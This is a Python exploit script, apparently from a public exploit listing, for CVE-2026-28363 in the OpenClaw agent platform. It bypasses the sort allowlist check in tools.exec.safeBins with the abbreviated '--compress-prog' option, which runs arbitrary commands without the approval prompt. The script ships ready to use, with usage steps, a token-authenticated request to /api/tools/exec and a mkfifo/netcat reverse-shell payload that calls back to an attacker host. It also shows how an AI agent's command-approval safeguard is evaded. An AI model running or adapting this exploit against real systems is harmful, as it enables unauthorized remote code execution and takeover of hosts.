#!/usr/bin/env python3
# Exploit Title: OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution
# CVE: CVE-2026-28363
# Date: 2026-02-27
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://github.com/openclaw/openclaw
# Software Link: https://github.com/openclaw/openclaw
# Affected: OpenClaw <= 2026.2.22 (when tools.exec.security=allowlist + sort in safeBins)
# Tested on: OpenClaw 2026.2.22 (Ubuntu 24.04 / Debian-based with default-ish config)
# Category: Remote Command Execution
# Platform: Linux
# Exploit Type: Remote
# CVSS: 9.9 (CRITICAL) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
# CWE: CWE-184 (Incomplete List of Disallowed Inputs)
# Description: OpenClaw before 2026.2.23 fails to properly validate abbreviated GNU long options when checking the tools.exec.safeBins allowlist/denylist for the sort command.
# Using --compress-prog=... instead of --compress-program=... bypasses the security check, allowing low-privileged authenticated users to execute arbitrary commands via dangerous sort flags without triggering the approval workflow.
# Fixed in: OpenClaw >= 2026.2.23 (commit 3b8e33037ae2e12af7beb56fcf0346f1f8cbde6f or later)
# Usage:
# python3 exploit.py <target_url> --token <auth_token> [--lhost <ip>] [--lport <port>] [--cmd "command here"]
#
# Examples:
# # Simple proof-of-concept write file
# python3 exploit.py http://192.168.10.50:8080 --token eyJhbGciOi... --cmd "id > /tmp/pwned.txt"
#
# # Reverse shell
# python3 exploit.py http://target:8080 --token <token> --lhost 192.168.1.77 --lport 4444
#
# Options:
# <target_url> Base URL of vulnerable OpenClaw instance (http(s)://host:port)
# --token Bearer token or API key of a low-privileged user
# --lhost Attacker IP for reverse shell (optional)
# --lport Attacker port for reverse shell (optional)
# --cmd Custom command to execute via sort --compress-prog (optional)
#
# Notes:
# - Requires low-priv authenticated access (any user that can call tools.exec)
# - Endpoint assumed: /api/tools/exec → change ENDPOINT variable if different
# - sort must be present in tools.exec.safeBins (common in default/recommended configs)
# - For authorized penetration testing / red-team / research use only
#
# How to Use
# Step 1: Obtain a valid low-privileged Bearer token / API key
# Step 2: (optional) Start listener: nc -lvnp 4444
# Step 3: Run exploit with target and token (add --lhost/--lport for revshell)
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-28363 • OpenClaw sort safeBins → Authenticated RCE Bypass ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import requests
import argparse
import sys
parser = argparse.ArgumentParser(description="CVE-2026-28363 OpenClaw sort safeBins RCE Bypass")
parser.add_argument("target", help="Target OpenClaw base URL (e.g. http://192.168.10.50:8080)")
parser.add_argument("--token", required=True, help="Bearer token or API key")
parser.add_argument("--lhost", help="Listener IP for reverse shell")
parser.add_argument("--lport", help="Listener port for reverse shell")
parser.add_argument("--cmd", help="Custom command to run (overrides reverse shell)")
args = parser.parse_args()
BASE_URL = args.target.rstrip("/")
ENDPOINT = "/api/tools/exec" # ← change if your deployment uses different path
HEADERS = {
"Authorization": f"Bearer {args.token}",
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; OpenClaw-Exploit-PoC)"
}
# Default PoC: write proof file
command = "echo 'EXPLOITED CVE-2026-28363 by @banyamer_security' > /tmp/rce-poc-$(date +%%s).txt"
if args.cmd:
command = args.cmd
elif args.lhost and args.lport:
# Classic mkfifo reverse shell via sort --compress-prog
command = (
f"rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | "
f"/bin/sh -i 2>&1 | nc {args.lhost} {args.lport} >/tmp/f"
)
# Exploit payload using abbreviated long option bypass
payload = {
"tool": "exec",
"args": {
"cmd": "sort",
"args": [
f"--compress-prog=sh -c '{command}'",
"-o", "/dev/null",
"/dev/null"
]
}
}
print("[*] Sending exploit payload...")
print(f" Target : {BASE_URL}{ENDPOINT}")
print(f" Command : {command}")
print(f" Auth : Bearer {args.token[:12]}...")
try:
r = requests.post(
f"{BASE_URL}{ENDPOINT}",
headers=HEADERS,
json=payload,
timeout=12,
allow_redirects=False
)
print(f"[+] Status code : {r.status_code}")
if r.status_code in (200, 201, 202, 204):
print("[!] Likely SUCCESS — command probably executed without approval prompt")
print(" Check /tmp/ on target for files or catch reverse shell")
elif "approval" in r.text.lower() or "forbidden" in r.text.lower():
print("[-] Failed — approval prompt or block still triggered")
elif r.status_code == 401 or r.status_code == 403:
print("[-] Authentication failed — invalid or insufficient token")
else:
print("[-] Unexpected response:")
print(r.text[:400] + "..." if len(r.text) > 400 else r.text)
except requests.exceptions.RequestException as e:
print(f"[!] Request error: {e}")
sys.exit(1)
print("\nExploit finished. Good hunting.")